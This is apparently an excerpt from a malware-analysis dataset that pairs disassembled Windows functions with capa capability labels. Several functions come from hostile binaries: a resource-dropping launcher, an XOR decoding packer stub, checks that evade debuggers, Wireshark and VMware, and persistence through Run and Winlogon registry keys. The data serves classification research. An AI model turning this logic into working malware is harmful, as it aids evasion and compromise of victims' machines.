joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100907c
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x100d5e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x2800
push edi
push 0
mov esi, 0x105fd28
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push edi
push esi
call fcn.01009040
test eax, eax
jne 0x100918e
cmp dword [0x105fd20], 0xffffffff
je 0x100918e
push ebx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x64
lea eax, [ebp - 0xcc]
push eax
push 0x1003078
lea eax, [ebp - 0x20c]
push eax
push 0
mov edi, 0x400
push edi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
test eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x1009173
push 0x64
lea eax, [ebp - 0x68]
push eax
push 0x100306c
lea eax, [ebp - 0x20c]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
test eax, eax
je 0x1009173
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xcc]
push eax
push 0x1003060
lea eax, [ebp - 0x1f8]
push 0x12c
push eax
call fcn.01004211
add esp, 0x14
test eax, eax
jne 0x1009173
push eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x1f8]
push eax
push dword [0x105fd20]
call ebx
push 0
lea eax, [ebp - 0x1fc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push dword [0x105fd20]
call ebx
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.01009e64
leave
ret

Function at 0x10091a3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100d5e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [0x105fd20], 0xffffffff
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x100921a
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x105fd20], eax
je 0x100921a
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x1003084
call fcn.0100907c
pop ecx
mov ecx, dword [ebp - 4]
xor eax, eax
cmp dword [0x105fd20], 0xffffffff
setne al
xor ecx, ebp
call fcn.01009e64
leave
ret 4

Function at 0x100a5a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x100a5b3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100a5af
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret
Function at 0x100a5e0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x100a61f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x100a615
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x100a621
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x100a605
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100aac5
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x100d5e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x10c]
push eax
push 0x20019
xor esi, esi
push esi
push 0x10031e8
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100ab9a
push edi
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push esi
push dword [ebp - 0x10c]
mov edi, 0x104
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100ab89
cmp dword [ebp - 0x114], 2
mov byte [ebp - 5], al
lea eax, [ebp - 0x108]
jne 0x100ab73
push edi
push dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
lea ecx, [edi - 1]
cmp ecx, eax
sbb esi, esi
inc esi
jmp 0x100ab89
push eax
push edi
push dword [ebp - 0x110]
call fcn.010036ed
xor ecx, ecx
test eax, eax
setge cl
mov esi, ecx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
jmp 0x100ab9c
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.01009e64
leave
ret 4
Function at 0x47e1eb
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4caff4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0047e063
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00454a40
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x47e23a
cmp dword [ebp - 0x1c], 5
jb 0x47e252
jmp 0x47e24e
cmp dword [ebp - 0x10], 1
jne 0x47e252
cmp dword [ebp - 0x1c], 4
ja 0x47e24e
jne 0x47e252
cmp dword [ebp - 0x18], 0
jbe 0x47e252
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4b5a9c
call fcn.0047de20
test eax, eax
jge 0x47e273
mov byte [0x4cd110], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00451541
add ebp, 0x78
leave
ret

Function at 0x10001016
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push esi
push edi
push 0x10003010
push 0x65
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10001061
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x10001065
xor eax, eax
jmp 0x100010a7
push ebx
mov ebx, dword [esi]
push 0
push 4
push 2
push 0
push 2
push 0x40000000
push 0x10003038
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010a3
lea eax, [esp + 0xc]
push 0
push eax
add esi, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop ebx
pop edi
pop esi
pop ecx
ret

Function at 0x100010ab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
xor edx, edx
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], edx
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push 0x8000000
push edx
push edx
push edx
push 0x10003038
push edx
mov word [ebp - 0x24], dx
mov dword [ebp - 0x28], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x10001110
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
pop esi
xor eax, eax
leave
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x45533e5e
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x19c62f34
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
cmp eax, edi
je 0x1000116a
push ebx
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
cmp ebx, edi
je 0x10001169
push esi
lea eax, [ebx + ebx]
xor esi, esi
cmp eax, edi
je 0x1000105f
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000105d
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
xor edi, edi
cmp esi, edi
je 0x10001168
mov eax, dword [ebp + 0xc]
push edi
push edi
push ebx
push esi
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
call fcn.1001dac0
test eax, eax
jne 0x10001168
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.name.key
push esi
call ebx
test eax, eax
je 0x100010a3
push edi
push edi
push esi
push 0x1001acd0
jmp 0x10001114
mov eax, dword [ebp + 8]
call fcn.100201d0
test eax, eax
je 0x100010cf
push edi
push edi
push esi
push 0x10020320
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x10001168
lea edx, [ebp + 0xc]
push edx
jmp 0x10001126
push str._secrets.key
push esi
call ebx
test eax, eax
je 0x100010f7
push edi
push edi
push esi
push 0x10021ce0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x10001168
lea eax, [ebp + 0xc]
push eax
jmp 0x10001126
push str.sign.key
push esi
call ebx
test eax, eax
je 0x10001148
call fcn.10022750
test eax, eax
je 0x10001148
push edi
push edi
push esi
push 0x100227c0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x10001168
lea ecx, [ebp + 0xc]
push ecx
push esi
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10001168
test byte [ebp + 0xc], 2
jne 0x10001168
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop edi
pop ebp
ret 8
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10001168
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebx
pop edi
pop ebp
ret 8
Function at 0x10001720
Capabilities:
Check if file exists
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1000183b
xor edi, edi
push edi
push str.OLLYDBG
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x1000183b
push 0x124
lea eax, [esp + 0x18]
push edi
push eax
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x100017f5
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push str.wireshark.exe
lea edx, [esp + 0x38]
push edx
call edi
test eax, eax
jne 0x10001835
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x100017a3
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x100017f1
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100017f1
test byte [esp + 0xc], 2
jne 0x100017f1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x10001844
push str.dumpcap.exe
call fcn.10024800
test eax, eax
jne 0x10001844
push str.idag.exe
call fcn.10024800
test eax, eax
jne 0x10001844
push str.vmwaretray.exe
call fcn.10024800
test eax, eax
jne 0x10001844
push str._globalroot_systemroot_system32_vmx_fb.dll
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10001844
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x18]
jmp 0x100017c7
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001850
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 8]
add esi, 0xfffffffe
xor ecx, ecx
test esi, esi
jle 0x100018e2
jmp 0x10001880
movzx edi, byte [edx + ecx]
shr edi, 2
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax], bl
movsx edi, byte [edx + ecx]
movzx ebx, byte [edx + ecx + 1]
and edi, 3
shr ebx, 4
shl edi, 4
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 1], bl
movsx ebx, byte [edx + ecx + 1]
movzx edi, byte [edx + ecx + 2]
and ebx, 0xf
add ebx, ebx
shr edi, 6
add ebx, ebx
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 2], bl
movsx edi, byte [edx + ecx + 2]
and edi, 0x3f
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 3], bl
add ecx, 3
add eax, 4
cmp ecx, esi
jl 0x10001880
cmp ecx, dword [ebp + 8]
jge 0x1000195e
movzx esi, byte [ecx + edx]
shr esi, 2
mov bl, byte [ebp + esi - 0x44]
mov esi, dword [ebp + 8]
dec esi
mov byte [eax], bl
cmp ecx, esi
jne 0x10001921
movsx ecx, byte [ecx + edx]
and ecx, 3
add ecx, ecx
mov dl, byte [ebp + ecx*8 - 0x44]
mov byte [eax + 1], dl
pop edi
mov byte [eax + 2], 0x3d
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
lea esi, [ecx + edx + 1]
movsx ecx, byte [ecx + edx]
movzx edx, byte [esi]
and ecx, 3
shl ecx, 4
shr edx, 4
or ecx, edx
movzx ecx, byte [ebp + ecx - 0x44]
mov byte [eax + 1], cl
movsx edx, byte [esi]
and edx, 0xf
movzx ecx, byte [ebp + edx*4 - 0x44]
pop edi
mov byte [eax + 2], cl
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov byte [eax], 0
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100019e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 8
cmp ecx, dword [esi + 4]
jae 0x10001a0a
mov eax, ecx
mov edx, dword [esi]
mov dword [edx + eax*4], 0
inc eax
cmp eax, dword [esi + 4]
jb 0x100019f0
mov dword [esi + 4], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [esi + 8]
cmp ebx, ecx
jae 0x10001a9a
lea eax, [ecx*4]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, dword [esi]
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x10001a59
test ebx, ebx
je 0x10001a3f
dec ebx
mov dword [edi + ebx*4], 0
jne 0x10001a35
mov ecx, dword [edi]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebx*4]
push ecx
push edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
test ebx, ebx
je 0x10001a7a
nop
dec ebx
mov dword [edi + ebx*4], 0
jne 0x10001a70
mov edx, dword [edi]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], edx
mov ecx, edx
pop edi
mov eax, dword [esi + 4]
pop ebx
cmp eax, ecx
jae 0x10001ab0
mov edx, dword [esi]
mov dword [edx + eax*4], 0
inc eax
cmp eax, ecx
jb 0x10001aa2
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002870
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, dword [ebp + 0xc]
sub esp, 0x34
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
test eax, eax
je 0x1000289d
jmp 0x10002890
mov ecx, dword [ebp + 8]
dec eax
mov dword [ecx + eax*4], 0
jne 0x10002890
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 0x3c]
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100028b0
sub eax, edx
jne 0x100028c4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov dword [esp + 0x3c], eax
fild dword [esp + 0x3c]
test eax, eax
jns 0x100028d6
fadd qword [0x1004ada8]
fmul qword [0x1004adb0]
sub esp, 8
fstp qword [esp]
call fcn.10002800
mov esi, eax
push 1
push esi
call dword [sym.imp.MSVCRT.dll_calloc]
mov edi, eax
add esp, 8
test edi, edi
jne 0x10002903
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov al, byte [ebx]
test al, al
je 0x10002960
mov dword [esp + 0x3c], ebx
movsx eax, al
lea ecx, [eax - 0x30]
cmp ecx, 9
ja 0x1000291c
mov eax, ecx
jmp 0x10002934
lea edx, [eax - 0x61]
cmp edx, 5
ja 0x10002929
sub eax, 0x57
jmp 0x10002934
lea ecx, [eax - 0x41]
cmp ecx, 5
ja 0x10002951
sub eax, 0x37
test esi, esi
je 0x10002951
lea ecx, [edi + esi - 1]
mov edx, esi
mov edi, edi
movzx ebx, byte [ecx]
shl ebx, 4
add eax, ebx
mov byte [ecx], al
shr eax, 8
dec ecx
dec edx
jne 0x10002940
mov eax, dword [esp + 0x3c]
inc eax
mov dword [esp + 0x3c], eax
mov al, byte [eax]
test al, al
jne 0x1000290d
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
push edx
push eax
call fcn.100027a0
push edi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002990
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, eax
mov dword [ebp - 4], ebx
cmp ebx, edi
ja 0x100029a6
mov dword [ebp - 4], edi
mov esi, dword [sym.imp.MSVCRT.dll_calloc]
push 4
push ebx
call esi
add esp, 8
mov dword [ebp + 0x10], eax
test eax, eax
jne 0x100029c3
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 4]
push 4
push eax
call esi
mov esi, eax
add esp, 8
test esi, esi
jne 0x100029dc
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push ecx
push ebx
push edx
push esi
push eax
mov eax, edi
call fcn.10001fe0
test edi, edi
je 0x10002a0b
mov eax, dword [ebp + 8]
mov ecx, esi
sub ecx, eax
lea esp, [esp]
mov edx, dword [ecx + eax]
mov dword [eax], edx
add eax, 4
dec edi
jne 0x10002a00
mov eax, ebx
test ebx, ebx
je 0x10002a1b
dec eax
mov dword [esi + eax*4], 0
jne 0x10002a11
mov eax, dword [esi]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp + 0x14]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_free]
call esi
add esp, 4
mov eax, ebx
test ebx, ebx
je 0x10002a42
mov edx, dword [ebp + 0x10]
dec eax
mov dword [edx + eax*4], 0
jne 0x10002a35
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
push eax
call esi
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10002a60
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
lea edi, [ebx + ebx]
push 4
push edi
call dword [sym.imp.MSVCRT.dll_calloc]
mov esi, eax
add esp, 8
test esi, esi
jne 0x10002a86
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
push eax
push ecx
mov eax, esi
call fcn.10001da0
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push edx
push edi
push esi
push eax
mov eax, ebx
call fcn.10002990
test edi, edi
je 0x10002aba
jmp 0x10002ab0
dec edi
mov dword [esi + edi*4], 0
jne 0x10002ab0
mov ecx, dword [esi]
mov dword [ebp + 0x18], ecx
mov edx, dword [ebp + 0x18]
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0x14
Function at 0x10003440
Capabilities:
Check if file exists
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push edi
push 0xff
lea eax, [ebp - 0x113]
push 0
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0xff0ff
mov dword [ebp - 8], 0x104
mov dword [ebp - 0xc], 1
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
xor ecx, ecx
push str.SystemDrive
mov word [ebp - 0x14], cx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 0x10]
push eax
push 0x100457e0
lea ecx, [ebp - 0x218]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x10
lea edx, [ebp - 4]
push edx
push 0x101
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call edi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push 0x10059b58
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x218]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x218]
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003530
sub eax, ecx
push esi
xor ecx, ecx
mov esi, eax
mov word [ebp - 0x14], 1
xor edx, edx
jmp 0x10003550
mov byte [ebp + edx - 0x114], dl
inc edx
cmp edx, 0x100
jl 0x10003550
xor edx, edx
jmp 0x10003570
mov al, byte [ebp + ecx - 0x218]
xor byte [ebp + edx - 0x114], al
inc ecx
cmp ecx, esi
jl 0x10003585
xor ecx, ecx
inc edx
cmp edx, 0x100
jl 0x10003570
push 0x10059b58
push 0x10059b58
mov edx, 0x104
lea eax, [ebp - 0x114]
call fcn.10017c10
push 0x10059b58
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
pop esi
test eax, eax
jne 0x100035ec
lea ecx, [ebp - 4]
push ecx
push 0x101
push eax
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call edi
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x10059b58
lea eax, [ebp - 0xc]
push eax
push 0
push str.userinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
pop edi
test eax, eax
je 0x100035fb
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret